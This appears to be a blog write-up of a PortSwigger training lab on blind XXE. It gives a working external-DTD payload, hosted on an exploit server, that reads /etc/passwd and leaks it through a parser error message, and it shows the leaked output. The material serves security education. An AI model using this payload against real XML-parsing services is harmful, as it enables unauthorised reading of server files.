On this page
apsyleg1 min read
#portswigger #xxe #web-security

Blind XXE: Retrieving Data via Error Messages

Lab

Exploiting blind XXE to retrieve data via error messages · Practitioner

Solution

Given

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.

The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.

Analysis

The stock-check route accepts XML. We need to host a DTD on the exploit server with a payload that deliberately triggers an error when opening a file. The filename has the contents of /etc/passwd concatenated in — so the server's error will include this filename, which contains the data we want.

Attack

Nothing tricky here after the previous lab.

Request payload — to force the parser to fetch our external DTD:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-0ab1001a03e21303800ef7ff01a5002d.exploit-server.net/exploit.dtd"> %xxe;]>

On the exploit server we set Content-Type and add this code:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Send the request:

"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

Lab solved!